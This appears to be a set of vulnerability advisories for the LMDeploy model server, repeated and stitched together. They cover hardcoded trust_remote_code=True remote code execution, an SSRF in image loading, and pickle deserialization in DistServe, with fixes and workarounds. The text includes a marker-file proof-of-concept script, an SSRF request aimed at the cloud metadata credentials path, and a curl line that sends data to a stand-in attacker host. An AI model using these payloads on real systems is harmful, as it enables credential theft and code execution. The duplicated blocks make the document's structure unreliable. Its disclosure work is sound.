4. Request CVE through GHSA flow once the patch lands.

Why static-only is sufficient here

Unlike F11 (RCE chain through _load_pt_file) which required a runtime PoC to demonstrate the pickle gadget execution, this finding is a single trust-flag flip — the behaviour of AutoConfig.from_pretrained(repo, trust_remote_code=True) on a HF repo with a malicious configuration_*.py is documented behaviour of HF Transformers itself (their own docs warn against it). Reproducing it adds no new evidence; the static flag-state is the bug.

If the vendor requests a runtime PoC during triage we will provide one (a malicious HF repo with configuration_evil.py + a one-liner lmdeploy lite calibrate <repo> invocation), but holding it back from the initial advisory avoids publishing a working exploit during the disclosure window.

Summary

lmdeploy hardcodes trust_remote_code=True in multiple HuggingFace model-loading call sites.

The affected code paths are in:

lmdeploy/archs.py
lmdeploy/utils.py

The vulnerable call sites pass trust_remote_code=True into HuggingFace Transformers APIs such as AutoConfig.from_pretrained(), PretrainedConfig.get_config_dict(), and GenerationConfig.from_pretrained().

Because the model path is supplied by the operator or deployment configuration, an attacker who can control the model_path used by an lmdeploy serving process can point it to an attacker-controlled HuggingFace model repository. When lmdeploy starts and initializes the model, Transformers may download and execute remote Python code from that repository.

Successful exploitation results in arbitrary code execution with the privileges of the lmdeploy serving process.

Affected version

Confirmed affected:

lmdeploy <= 0.12.3

The issue was verified on v0.12.3 and on main.

Vulnerable code

Confirmed call sites:

lmdeploy/archs.py:154
AutoConfig.from_pretrained(..., trust_remote_code=True)

lmdeploy/archs.py:157
PretrainedConfig.get_config_dict(..., trust_remote_code=True)

lmdeploy/utils.py:225
GenerationConfig.from_pretrained(..., trust_remote_code=True)

The vulnerable pattern is:

AutoConfig.from_pretrained(model_path, trust_remote_code=True)

and:

GenerationConfig.from_pretrained(path, trust_remote_code=True)

The risk is that trust_remote_code=True is enabled unconditionally. Users are not required to explicitly opt in through a CLI flag or configuration option.

Attack scenario

1. An attacker obtains the ability to control or modify the model path used by an lmdeploy deployment. Examples include deployment configuration access, CI/CD configuration access, Kubernetes or container configuration access, or a managed environment where users can submit model IDs for serving.
2. The attacker sets the model path to an attacker-controlled HuggingFace repository, for example:

attacker-org/malicious-model

3. The lmdeploy serving process starts with that model path:

lmdeploy serve api_server attacker-org/malicious-model

4. During model initialization, lmdeploy calls HuggingFace Transformers APIs with trust_remote_code=True.
5. Transformers loads and executes remote Python code from the attacker-controlled model repository.
6. The payload runs with the privileges of the lmdeploy serving process.

Why this is security-sensitive

trust_remote_code=True is a dangerous HuggingFace option because it allows model repositories to execute custom Python code during model loading.

In lmdeploy, this option is hardcoded at multiple call sites. This removes the explicit trust decision from the user or deployment operator. A safer design would require an explicit CLI flag or configuration option such as --trust-remote-code.

lmdeploy is commonly used as a model serving daemon. The serving process may have access to model weights, GPU resources, API credentials, cloud credentials, request data, and internal network resources.

Proof of concept

The following PoC demonstrates the vulnerable primitive in a local, non-destructive way. It simulates lmdeploy calling a HuggingFace model-loading path with trust_remote_code=True and shows that remote model code would execute during initialization.

#!/usr/bin/env python3
from __future__ import annotations

import argparse
import importlib.util
import os
import sys
import tempfile
from pathlib import Path

MARKER = Path("/tmp/LMDEPLOY_TRUST_REMOTE_CODE_RCE_PROOF")
MALICIOUS_MODEL = "attacker-org/malicious-model"


def simulate_lmdeploy_model_load(model_path: str) -> None:
    """
    Simulates lmdeploy model initialization where trust_remote_code=True is hardcoded.

    Real vulnerable pattern:
        AutoConfig.from_pretrained(model_path, trust_remote_code=True)
        GenerationConfig.from_pretrained(path, trust_remote_code=True)

    When trust_remote_code=True, a malicious HuggingFace model repository can
    execute custom Python code during loading.
    """

    fake_model_dir = Path(tempfile.mkdtemp(prefix="fake_lmdeploy_model_"))
    module_name = model_path.split("/")[-1].replace("-", "_")
    modeling_file = fake_model_dir / f"modeling_{module_name}.py"

    payload = f'''
import os
from pathlib import Path

Path("{MARKER}").write_text(
    "lmdeploy trust_remote_code execution confirmed\\n"
    f"model_path={model_path!r}\\n"
    f"pid={{os.getpid()}} euid={{os.geteuid()}}\\n"
)
'''
    modeling_file.write_text(payload)

    spec = importlib.util.spec_from_file_location(f"modeling_{module_name}", modeling_file)
    assert spec is not None and spec.loader is not None

    mod = importlib.util.module_from_spec(spec)
    spec.loader.exec_module(mod)


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("--model-id", default=MALICIOUS_MODEL)
    args = parser.parse_args()

    if MARKER.exists():
        MARKER.unlink()

    print(f"[*] Simulating lmdeploy loading model: {args.model_id}")
    print("[*] trust_remote_code=True is hardcoded in lmdeploy model-loading paths")

    simulate_lmdeploy_model_load(args.model_id)

    if MARKER.exists():
        print("[+] Code execution confirmed")
        print(MARKER.read_text())
        return 0

    print("[-] Marker file was not created", file=sys.stderr)
    return 1


if __name__ == "__main__":
    raise SystemExit(main())

Expected result:

[+] Code execution confirmed

The marker file is written to:

/tmp/LMDEPLOY_TRUST_REMOTE_CODE_RCE_PROOF

Impact

An attacker who can control the model path used by an lmdeploy deployment can execute arbitrary Python code during model initialization.

The attacker may be able to:

• Read files accessible to the lmdeploy process.
• Access environment variables, model provider credentials, HuggingFace tokens, cloud credentials, and API keys.
• Modify model-serving behavior or tamper with responses.
• Execute arbitrary operating-system commands.
• Access request data or internal service credentials available to the serving process.
• Cause denial of service by crashing or destabilizing the serving daemon.
• Pivot to internal services reachable from the lmdeploy host or container.

Summary

A Server-Side Request Forgery (SSRF) vulnerability exists in LMDeploy's vision-language module. The load_image() function in lmdeploy/vl/utils.py fetches arbitrary URLs without validating internal/private IP addresses, allowing attackers to access cloud metadata services, internal networks, and sensitive resources.

Affected Versions

• Tested on: main branch (2026-02-04)
• Affected: All versions prior to 0.12.3

Vulnerable Code

File: lmdeploy/vl/utils.py (lines 64-67)

def load_image(image_url: Union[str, Image.Image]) -> Image.Image:
    # ...
    if image_url.startswith('http'):
        response = requests.get(image_url, headers=headers, timeout=FETCH_TIMEOUT)
        # NO VALIDATION OF URL/IP BEFORE REQUEST

Also affected: encode_image_base64() function (lines 26-29)

Root Cause

1. No validation of URLs before fetching
2. No blocklist for internal IPs (127.0.0.1, 169.254.x.x, 10.x.x.x, 192.168.x.x)
3. Server binds to 0.0.0.0 by default (api_server.py line 1393)
4. API keys disabled by default

Attack Scenario

1. LMDeploy server deployed with vision-language model
2. Attacker sends request to /v1/chat/completions with malicious image_url:

POST /v1/chat/completions
{
  "model": "internlm-xcomposer2",
  "messages": [{
    "role": "user", 
    "content": [
      {"type": "text", "text": "Describe this image"},
      {"type": "image_url", "image_url": {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}}
    ]
  }]
}

3. Server fetches URL without validation
4. Attacker receives cloud credentials

Proof of Concept

Verified Exploitation Result

╔═══════════════════════════════════════════════════════════════════════╗
║  LMDeploy SSRF Vulnerability - Proof of Concept                       ║
╚═══════════════════════════════════════════════════════════════════════╝

[1] Starting callback server on port 8889...
[2] Attacker URL: http://127.0.0.1:8889/SSRF_PROOF?stolen_data=AWS_SECRET_KEY
[3] Calling vulnerable load_image() function...

======================================================================
[+] SSRF CALLBACK RECEIVED!
======================================================================
    Time:       2026-02-04 16:10:57
    Path:       /SSRF_PROOF?stolen_data=AWS_SECRET_KEY
    Client:     127.0.0.1:51154
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)...
======================================================================

✅ SSRF VULNERABILITY CONFIRMED!

Impact

• Cloud Credential Theft: Access AWS/GCP/Azure metadata APIs
• Internal Service Access: Reach services not exposed to internet
• Information Disclosure: Port scan internal networks
• Lateral Movement: Pivot point for further attacks

Recommended Fix

from urllib.parse import urlparse
import ipaddress
import socket

BLOCKED_NETWORKS = [
    ipaddress.ip_network('127.0.0.0/8'),
    ipaddress.ip_network('10.0.0.0/8'),
    ipaddress.ip_network('172.16.0.0/12'),
    ipaddress.ip_network('192.168.0.0/16'),
    ipaddress.ip_network('169.254.0.0/16'),
]

def is_safe_url(url: str) -> bool:
    try:
        parsed = urlparse(url)
        if parsed.scheme not in ('http', 'https'):
            return False
        ip = socket.gethostbyname(parsed.hostname)
        ip_addr = ipaddress.ip_address(ip)
        return not any(ip_addr in network for network in BLOCKED_NETWORKS)
    except:
        return False

Credit

This vulnerability was discovered as part of Orca Security's research.

Researcher: Igor Stepansky
Organization: Orca Security
Emails: igor.stepansky@orca.security
iggy.p0pi@orca.security

Summary

LMDeploy's PyTorch DistServe/PD-disaggregation control plane used recv_pyobj() to deserialize messages received through a ZeroMQ PULL socket. PyZMQ implements recv_pyobj() using Python pickle deserialization, which can execute arbitrary code while reconstructing an object.

The peer address used by the receiver was supplied through the POST /distserve/p2p_connect HTTP endpoint. An attacker who could reach an affected DistServe API server could cause the server to connect to an attacker-controlled ZeroMQ endpoint and deserialize a crafted pickle payload.

API-key authentication is not enabled unless the operator explicitly configures it. As a result, affected DistServe deployments without API keys allowed unauthenticated remote code execution with the privileges of the LMDeploy serving process.

This issue affects the PyTorch backend when PD-disaggregation/DistServe is enabled. Ordinary deployments that do not use the affected disaggregated-serving path do not expose this data flow.

Affected components

• HTTP entry point: lmdeploy/serve/openai/endpoints/distserve.py, POST /distserve/p2p_connect
• Attacker-controlled peer address: DistServeConnectionRequest.remote_engine_endpoint_info.zmq_address
• Vulnerable receiver: lmdeploy/pytorch/disagg/conn/engine_conn.py, EngineP2PConnection.handle_zmq_recv()
• Unsafe operation: recv_pyobj(), which performs pickle deserialization

Vulnerable data flow

1. A caller submits a DistServe P2P connection request containing a ZeroMQ address.
2. The LMDeploy engine connects its ZeroMQ PULL socket to that address.
3. handle_zmq_recv() receives messages using recv_pyobj().
4. A malicious peer sends a crafted pickle object.
5. Python code executes during deserialization, before LMDeploy can perform any type or field validation.

A type check performed after recv_pyobj() cannot mitigate this issue because pickle payload execution occurs during deserialization.

Impact

Successful exploitation allows arbitrary code execution as the LMDeploy serving process. This can expose model weights, prompts, credentials, attached storage, cluster-network services, and host or GPU resources. An attacker may also modify or terminate the serving process.

Affected versions

Affected versions:

• lmdeploy >= 0.9.2, < 0.16.0

The vulnerable P2P receiver was introduced in commit b0b705f7.

Remediation

The issue was fixed by replacing the pickle-based ZeroMQ protocol with JSON serialization:

• send_pyobj() was replaced with send_json().
• recv_pyobj() was replaced with recv_json().
• Received objects are validated using the DistServeCacheFreeRequest Pydantic schema before use.
• Invalid or off-schema messages are rejected without terminating the receive loop.

Fix commit:

https://github.com/InternLM/lmdeploy/commit/f05b4ad8bf2e2d84101a1d63b3c44fadd99223b2

The fix was released in LMDeploy 0.16.0.

Workarounds

Users who cannot upgrade immediately should:

• Prevent untrusted clients from reaching /distserve/* endpoints.
• Restrict the DistServe HTTP and ZeroMQ control planes to trusted cluster networks.
• Configure API-key authentication.
• Block arbitrary outbound ZeroMQ connections from serving nodes.

These measures reduce exposure but do not make pickle deserialization safe. Upgrading to LMDeploy 0.16.0 or later is recommended.

📋 Reframing (2026-05-02): implicit unsafe remote-code path, not "supply-chain"

The accurate description of this vulnerability is: "get_model_arch and related helpers hardcode trust_remote_code=True with no opt-out, creating an implicit unsafe remote-code load path on every model fetch."

What this report does NOT claim:

• It is NOT a network-attack RCE — the user supplies the model reference; LMDeploy honors it.
• It is NOT a "supply chain" CVE in the classical sense (where a benign upstream is compromised) — the user explicitly types the repo name.

What this report DOES claim:

• Other inference frameworks (vLLM, TGI, Hugging Face transformers itself) all expose --trust-remote-code as opt-in so that users who consciously load known-safe repos can opt in, while users following a tutorial cannot accidentally execute attacker Python by typing a wrong repo name.
• LMDeploy's hardcoded True is an implicit trust-boundary override that violates HF Transformers' default-secure stance (trust_remote_code=False since transformers ≥ 4.30).
• The fix is a one-line CLI flag (--trust-remote-code) defaulting False, threaded through the three sites, matching the rest of the ecosystem.

Severity should be assessed as hardening / safe-by-default, not as full unauthenticated RCE. CVSS revised to 5.5 Medium (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H × user-must-load qualifier).

Runtime evidence: see 12_lmdeploy_trust_remote_code_F13/runtime_evidence/cloudrun_cpu_verdict.txt.

F13 — LMDeploy: hardcoded trust_remote_code=True enables HF supply-chain RCE without user opt-in

Reporter: ibondarenko1 / sactransport2000@gmail.com Coordinated-disclosure window: 90 days from initial vendor email.

TL;DR

LMDeploy unilaterally passes trust_remote_code=True to transformers.AutoConfig.from_pretrained() (and several other from_pretrained callers) regardless of any user opt-in. The flag is hardcoded True in source — there is no CLI flag, no environment variable, no parameter, and no warning that lets a user refuse remote code execution from the model repository. This is a silent override of HuggingFace Transformers' own default-secure stance (trust_remote_code=False) introduced in HF Transformers ≥ 4.30 specifically to prevent this class of supply-chain RCE.

The user running lmdeploy serve api_server <attacker_repo>, lmdeploy lite calibrate <attacker_repo>, etc. has no way to opt out. The only escape hatch is for the user to never load any third-party HF repo with LMDeploy — which is incompatible with LMDeploy's documented use case.

HuggingFace's trust_remote_code=False default exists exactly to prevent silent RCE when loading a third-party repo. LMDeploy overrides this default, restoring the unsafe behaviour transparently. A malicious HF repo with a configuration_*.py shim runs Python code as the LMDeploy user at the very first call to get_model_arch(...).

This is a documented anti-pattern (see HF Hub docs: "Trusting custom code is therefore tricky..."). Multiple peer projects fixed similar issues — e.g. Hugging Face Transformers itself made this opt-in by default, and vllm exposes the flag through --trust-remote-code rather than hardcoding it.

Affected version

• Repository: github.com/InternLM/lmdeploy, branch main.
• Branch SHA at audit time: 9df0eff7c38ae69b9d4b9f7ad1441e484d439f92 (2026-05-02).
• Pinned blob SHAs:
  • lmdeploy/archs.py → 68fa03a407734be1e2ae04098d34e9acdbe98262
  • lmdeploy/lite/apis/calibrate.py → 0728304bdc3c03eee1d790bfbd5496df080a0ecd
  • lmdeploy/lite/utils/load.py → 7c61677aa01e2d9881e32f8ca8ef6ad0f1d8b120
  • lmdeploy/pytorch/check_env/model.py → b1a2daaa426bf5fe25030f7913c703eed9f5b261

Snapshots of all four files are in source_pinned/.

Source-level evidence

Site 1 — architecture detection (every load goes through here)

lmdeploy/archs.py:147-157 — get_model_arch:

def get_model_arch(model_path: str):
    """Get a model's architecture and configuration."""
    try:
        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=True)
    except Exception as e:  # noqa
        from transformers import PretrainedConfig
        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=True)

Both the primary path and the fallback hardcode trust_remote_code=True. There is no parameter to override it. This function is called from every model-loading path in lmdeploy.

Site 2 — quantization CLI

lmdeploy/lite/apis/calibrate.py:248-251:

tokenizer = AutoTokenizer.from_pretrained(model, trust_remote_code=True)
...
model = load_hf_from_pretrained(model, dtype=dtype, trust_remote_code=True)

lmdeploy lite calibrate <repo> and downstream quant CLIs (gptq, awq) all flow through this. Hardcoded.

Site 3 — calibration helper

lmdeploy/lite/utils/load.py:55:

def load_hf_from_pretrained(pretrained_model_name_or_path, dtype, **kwargs):
    ...
    hf_config = AutoConfig.from_pretrained(pretrained_model_name_or_path, trust_remote_code=True)

Even if the caller does not pass trust_remote_code=True in **kwargs, the helper internally hardcodes it on the config call (line 55), then loads the model on line 74. The config call alone is sufficient for RCE: HF Transformers downloads configuration_*.py from the repo and imports it whenever trust_remote_code=True.

Site 4 — pytorch engine check

lmdeploy/pytorch/check_env/model.py:10,99,234,242 — trust_remote_code: bool = True is the default value for the engine's parameter. Unlike the three sites above, this is "default true" not "hardcoded true" — a determined caller can pass False — but every shipped CLI passes True or relies on the default.

What trust_remote_code=True actually enables

When AutoConfig.from_pretrained(repo, trust_remote_code=True) is called and the repo's config.json contains an auto_map key pointing to a custom configuration_<name>.py:

1. HF Transformers downloads the .py file from the repo.
2. HF imports the module via importlib, executing the file's top-level code (any print, os.system, subprocess.run, urllib.request.urlopen, etc. fires now).
3. HF then instantiates the named class.

So a malicious repo only needs a top-level os.system("curl https://attacker/?$(whoami)") in configuration_evil.py. It runs as the lmdeploy process user.

Threat model

Attack surface. Any user who runs an lmdeploy CLI command against a HuggingFace repo identifier they did not personally vet. This includes:

• Casual users following a tutorial that says lmdeploy serve api_server <some_repo>.
• CI pipelines that automatically pull a model from HF Hub by configuration (e.g. updates to a non-Pinned version tag).
• Researchers comparing models from many authors. Even running lmdeploy lite calibrate for benchmarking is enough.

The user is not warned that arbitrary Python from the repo will execute, and there is no flag to disable it. The CVE class is CWE-94 (Improper Control of Generation of Code, supply-chain flavour) and CWE-915 (Improperly Controlled Modification of Dynamically-Determined Object Attributes).

Comparison to peer projects

| Project | trust_remote_code default | User control | |---|---|---| | HuggingFace Transformers | False | trust_remote_code keyword arg | | vLLM | False | --trust-remote-code flag | | LMDeploy | True (hardcoded) | None | | TGI | False | --trust-remote-code flag |

LMDeploy is the outlier. The rationale is presumably "internal models like InternLM need custom configuration_*.py", but the fix is to accept a CLI flag like --trust-remote-code and default-False as the rest of the ecosystem does.

Suggested fix

Replace every hardcoded trust_remote_code=True with an explicit opt-in via CLI flag:

# lmdeploy/archs.py — get_model_arch
def get_model_arch(model_path: str, trust_remote_code: bool = False):
    try:
        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)
    except Exception as e:  # noqa
        from transformers import PretrainedConfig
        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)

Wire trust_remote_code through every call site. Add --trust-remote-code to lmdeploy's CLI parser and forward it from server / calibrate / gptq / etc. Default False.

A patch fragment is in patch.diff.

Disclosure plan

1. Submit privately via lmdeploy security contact (typically email or GitHub Security Advisory at https://github.com/InternLM/lmdeploy/security/advisories/new).
2. Reference Hugging Face Transformers' historical opt-out → opt-in change as precedent for the fix shape.
3. 90-day coordinated-disclosure window starting from acknowledgement.
4. Request CVE through GHSA flow once the patch lands.

Why static-only is sufficient here

Unlike F11 (RCE chain through _load_pt_file) which required a runtime PoC to demonstrate the pickle gadget execution, this finding is a single trust-flag flip — the behaviour of AutoConfig.from_pretrained(repo, trust_remote_code=True) on a HF repo with a malicious configuration_*.py is documented behaviour of HF Transformers itself (their own docs warn against it). Reproducing it adds no new evidence; the static flag-state is the bug.

If the vendor requests a runtime PoC during triage we will provide one (a malicious HF repo with configuration_evil.py + a one-liner lmdeploy lite calibrate <repo> invocation), but holding it back from the initial advisory avoids publishing a working exploit during the disclosure window.

Summary

lmdeploy hardcodes trust_remote_code=True in multiple HuggingFace model-loading call sites.

The affected code paths are in:

lmdeploy/archs.py
lmdeploy/utils.py

The vulnerable call sites pass trust_remote_code=True into HuggingFace Transformers APIs such as AutoConfig.from_pretrained(), PretrainedConfig.get_config_dict(), and GenerationConfig.from_pretrained().

Because the model path is supplied by the operator or deployment configuration, an attacker who can control the model_path used by an lmdeploy serving process can point it to an attacker-controlled HuggingFace model repository. When lmdeploy starts and initializes the model, Transformers may download and execute remote Python code from that repository.

Successful exploitation results in arbitrary code execution with the privileges of the lmdeploy serving process.

Affected version

Confirmed affected:

lmdeploy <= 0.12.3

The issue was verified on v0.12.3 and on main.

Vulnerable code

Confirmed call sites:

lmdeploy/archs.py:154
AutoConfig.from_pretrained(..., trust_remote_code=True)

lmdeploy/archs.py:157
PretrainedConfig.get_config_dict(..., trust_remote_code=True)

lmdeploy/utils.py:225
GenerationConfig.from_pretrained(..., trust_remote_code=True)

The vulnerable pattern is:

AutoConfig.from_pretrained(model_path, trust_remote_code=True)

and:

GenerationConfig.from_pretrained(path, trust_remote_code=True)

The risk is that trust_remote_code=True is enabled unconditionally. Users are not required to explicitly opt in through a CLI flag or configuration option.

Attack scenario

1. An attacker obtains the ability to control or modify the model path used by an lmdeploy deployment. Examples include deployment configuration access, CI/CD configuration access, Kubernetes or container configuration access, or a managed environment where users can submit model IDs for serving.
2. The attacker sets the model path to an attacker-controlled HuggingFace repository, for example:

attacker-org/malicious-model

3. The lmdeploy serving process starts with that model path:

lmdeploy serve api_server attacker-org/malicious-model

4. During model initialization, lmdeploy calls HuggingFace Transformers APIs with trust_remote_code=True.
5. Transformers loads and executes remote Python code from the attacker-controlled model repository.
6. The payload runs with the privileges of the lmdeploy serving process.

Why this is security-sensitive

trust_remote_code=True is a dangerous HuggingFace option because it allows model repositories to execute custom Python code during model loading.

In lmdeploy, this option is hardcoded at multiple call sites. This removes the explicit trust decision from the user or deployment operator. A safer design would require an explicit CLI flag or configuration option such as --trust-remote-code.

lmdeploy is commonly used as a model serving daemon. The serving process may have access to model weights, GPU resources, API credentials, cloud credentials, request data, and internal network resources.

Proof of concept

The following PoC demonstrates the vulnerable primitive in a local, non-destructive way. It simulates lmdeploy calling a HuggingFace model-loading path with trust_remote_code=True and shows that remote model code would execute during initialization.

#!/usr/bin/env python3
from __future__ import annotations

import argparse
import importlib.util
import os
import sys
import tempfile
from pathlib import Path

MARKER = Path("/tmp/LMDEPLOY_TRUST_REMOTE_CODE_RCE_PROOF")
MALICIOUS_MODEL = "attacker-org/malicious-model"


def simulate_lmdeploy_model_load(model_path: str) -> None:
    """
    Simulates lmdeploy model initialization where trust_remote_code=True is hardcoded.

    Real vulnerable pattern:
        AutoConfig.from_pretrained(model_path, trust_remote_code=True)
        GenerationConfig.from_pretrained(path, trust_remote_code=True)

    When trust_remote_code=True, a malicious HuggingFace model repository can
    execute custom Python code during loading.
    """

    fake_model_dir = Path(tempfile.mkdtemp(prefix="fake_lmdeploy_model_"))
    module_name = model_path.split("/")[-1].replace("-", "_")
    modeling_file = fake_model_dir / f"modeling_{module_name}.py"

    payload = f'''
import os
from pathlib import Path

Path("{MARKER}").write_text(
    "lmdeploy trust_remote_code execution confirmed\\n"
    f"model_path={model_path!r}\\n"
    f"pid={{os.getpid()}} euid={{os.geteuid()}}\\n"
)
'''
    modeling_file.write_text(payload)

    spec = importlib.util.spec_from_file_location(f"modeling_{module_name}", modeling_file)
    assert spec is not None and spec.loader is not None

    mod = importlib.util.module_from_spec(spec)
    spec.loader.exec_module(mod)


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("--model-id", default=MALICIOUS_MODEL)
    args = parser.parse_args()

    if MARKER.exists():
        MARKER.unlink()

    print(f"[*] Simulating lmdeploy loading model: {args.model_id}")
    print("[*] trust_remote_code=True is hardcoded in lmdeploy model-loading paths")

    simulate_lmdeploy_model_load(args.model_id)

    if MARKER.exists():
        print("[+] Code execution confirmed")
        print(MARKER.read_text())
        return 0

    print("[-] Marker file was not created", file=sys.stderr)
    return 1


if __name__ == "__main__":
    raise SystemExit(main())

Expected result:

[+] Code execution confirmed

The marker file is written to:

/tmp/LMDEPLOY_TRUST_REMOTE_CODE_RCE_PROOF

Impact

An attacker who can control the model path used by an lmdeploy deployment can execute arbitrary Python code during model initialization.

The attacker may be able to:

• Read files accessible to the lmdeploy process.
• Access environment variables, model provider credentials, HuggingFace tokens, cloud credentials, and API keys.
• Modify model-serving behavior or tamper with responses.
• Execute arbitrary operating-system commands.
• Access request data or internal service credentials available to the serving process.
• Cause denial of service by crashing or destabilizing the serving daemon.
• Pivot to internal services reachable from the lmdeploy host or container.

Summary

A Server-Side Request Forgery (SSRF) vulnerability exists in LMDeploy's vision-language module. The load_image() function in lmdeploy/vl/utils.py fetches arbitrary URLs without validating internal/private IP addresses, allowing attackers to access cloud metadata services, internal networks, and sensitive resources.

Affected Versions

• Tested on: main branch (2026-02-04)
• Affected: All versions prior to 0.12.3

Vulnerable Code

File: lmdeploy/vl/utils.py (lines 64-67)

def load_image(image_url: Union[str, Image.Image]) -> Image.Image:
    # ...
    if image_url.startswith('http'):
        response = requests.get(image_url, headers=headers, timeout=FETCH_TIMEOUT)
        # NO VALIDATION OF URL/IP BEFORE REQUEST

Also affected: encode_image_base64() function (lines 26-29)

Root Cause

1. No validation of URLs before fetching
2. No blocklist for internal IPs (127.0.0.1, 169.254.x.x, 10.x.x.x, 192.168.x.x)
3. Server binds to 0.0.0.0 by default (api_server.py line 1393)
4. API keys disabled by default

Attack Scenario

1. LMDeploy server deployed with vision-language model
2. Attacker sends request to /v1/chat/completions with malicious image_url:

POST /v1/chat/completions
{
  "model": "internlm-xcomposer2",
  "messages": [{
    "role": "user", 
    "content": [
      {"type": "text", "text": "Describe this image"},
      {"type": "image_url", "image_url": {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}}
    ]
  }]
}

3. Server fetches URL without validation
4. Attacker receives cloud credentials

Proof of Concept

Verified Exploitation Result

╔═══════════════════════════════════════════════════════════════════════╗
║  LMDeploy SSRF Vulnerability - Proof of Concept                       ║
╚═══════════════════════════════════════════════════════════════════════╝

[1] Starting callback server on port 8889...
[2] Attacker URL: http://127.0.0.1:8889/SSRF_PROOF?stolen_data=AWS_SECRET_KEY
[3] Calling vulnerable load_image() function...

======================================================================
[+] SSRF CALLBACK RECEIVED!
======================================================================
    Time:       2026-02-04 16:10:57
    Path:       /SSRF_PROOF?stolen_data=AWS_SECRET_KEY
    Client:     127.0.0.1:51154
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)...
======================================================================

✅ SSRF VULNERABILITY CONFIRMED!

Impact

• Cloud Credential Theft: Access AWS/GCP/Azure metadata APIs
• Internal Service Access: Reach services not exposed to internet
• Information Disclosure: Port scan internal networks
• Lateral Movement: Pivot point for further attacks

Recommended Fix

from urllib.parse import urlparse
import ipaddress
import socket

BLOCKED_NETWORKS = [
    ipaddress.ip_network('127.0.0.0/8'),
    ipaddress.ip_network('10.0.0.0/8'),
    ipaddress.ip_network('172.16.0.0/12'),
    ipaddress.ip_network('192.168.0.0/16'),
    ipaddress.ip_network('169.254.0.0/16'),
]

def is_safe_url(url: str) -> bool:
    try:
        parsed = urlparse(url)
        if parsed.scheme not in ('http', 'https'):
            return False
        ip = socket.gethostbyname(parsed.hostname)
        ip_addr = ipaddress.ip_address(ip)
        return not any(ip_addr in network for network in BLOCKED_NETWORKS)
    except:
        return False

Credit

This vulnerability was discovered as part of Orca Security's research.

Researcher: Igor Stepansky
Organization: Orca Security
Emails: igor.stepansky@orca.security
iggy.p0pi@orca.security

Summary

LMDeploy's PyTorch DistServe/PD-disaggregation control plane used recv_pyobj() to deserialize messages received through a ZeroMQ PULL socket. PyZMQ implements recv_pyobj() using Python pickle deserialization, which can execute arbitrary code while reconstructing an object.

The peer address used by the receiver was supplied through the POST /distserve/p2p_connect HTTP endpoint. An attacker who could reach an affected DistServe API server could cause the server to connect to an attacker-controlled ZeroMQ endpoint and deserialize a crafted pickle payload.

API-key authentication is not enabled unless the operator explicitly configures it. As a result, affected DistServe deployments without API keys allowed unauthenticated remote code execution with the privileges of the LMDeploy serving process.

This issue affects the PyTorch backend when PD-disaggregation/DistServe is enabled. Ordinary deployments that do not use the affected disaggregated-serving path do not expose this data flow.

Affected components

• HTTP entry point: lmdeploy/serve/openai/endpoints/distserve.py, POST /distserve/p2p_connect
• Attacker-controlled peer address: DistServeConnectionRequest.remote_engine_endpoint_info.zmq_address
• Vulnerable receiver: lmdeploy/pytorch/disagg/conn/engine_conn.py, EngineP2PConnection.handle_zmq_recv()
• Unsafe operation: recv_pyobj(), which performs pickle deserialization

Vulnerable data flow

1. A caller submits a DistServe P2P connection request containing a ZeroMQ address.
2. The LMDeploy engine connects its ZeroMQ PULL socket to that address.
3. handle_zmq_recv() receives messages using recv_pyobj().
4. A malicious peer sends a crafted pickle object.
5. Python code executes during deserialization, before LMDeploy can perform any type or field validation.

A type check performed after recv_pyobj() cannot mitigate this issue because pickle payload execution occurs during deserialization.

Impact

Successful exploitation allows arbitrary code execution as the LMDeploy serving process. This can expose model weights, prompts, credentials, attached storage, cluster-network services, and host or GPU resources. An attacker may also modify or terminate the serving process.

Affected versions

Affected versions:

• lmdeploy >= 0.9.2, < 0.16.0

The vulnerable P2P receiver was introduced in commit b0b705f7.

Remediation

The issue was fixed by replacing the pickle-based ZeroMQ protocol with JSON serialization:

• send_pyobj() was replaced with send_json().
• recv_pyobj() was replaced with recv_json().
• Received objects are validated using the DistServeCacheFreeRequest Pydantic schema before use.
• Invalid or off-schema messages are rejected without terminating the receive loop.

Fix commit:

https://github.com/InternLM/lmdeploy/commit/f05b4ad8bf2e2d84101a1d63b3c44fadd99223b2

The fix was released in LMDeploy 0.16.0.

Workarounds

Users who cannot upgrade immediately should:

• Prevent untrusted clients from reaching /distserve/* endpoints.
• Restrict the DistServe HTTP and ZeroMQ control planes to trusted cluster networks.
• Configure API-key authentication.
• Block arbitrary outbound ZeroMQ connections from serving nodes.

These measures reduce exposure but do not make pickle deserialization safe. Upgrading to LMDeploy 0.16.0 or later is recommended.

📋 Reframing (2026-05-02): implicit unsafe remote-code path, not "supply-chain"

The accurate description of this vulnerability is: "get_model_arch and related helpers hardcode trust_remote_code=True with no opt-out, creating an implicit unsafe remote-code load path on every model fetch."

What this report does NOT claim:

• It is NOT a network-attack RCE — the user supplies the model reference; LMDeploy honors it.
• It is NOT a "supply chain" CVE in the classical sense (where a benign upstream is compromised) — the user explicitly types the repo name.

What this report DOES claim:

• Other inference frameworks (vLLM, TGI, Hugging Face transformers itself) all expose --trust-remote-code as opt-in so that users who consciously load known-safe repos can opt in, while users following a tutorial cannot accidentally execute attacker Python by typing a wrong repo name.
• LMDeploy's hardcoded True is an implicit trust-boundary override that violates HF Transformers' default-secure stance (trust_remote_code=False since transformers ≥ 4.30).
• The fix is a one-line CLI flag (--trust-remote-code) defaulting False, threaded through the three sites, matching the rest of the ecosystem.

Severity should be assessed as hardening / safe-by-default, not as full unauthenticated RCE. CVSS revised to 5.5 Medium (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H × user-must-load qualifier).

Runtime evidence: see 12_lmdeploy_trust_remote_code_F13/runtime_evidence/cloudrun_cpu_verdict.txt.

F13 — LMDeploy: hardcoded trust_remote_code=True enables HF supply-chain RCE without user opt-in

Reporter: ibondarenko1 / sactransport2000@gmail.com Coordinated-disclosure window: 90 days from initial vendor email.

TL;DR

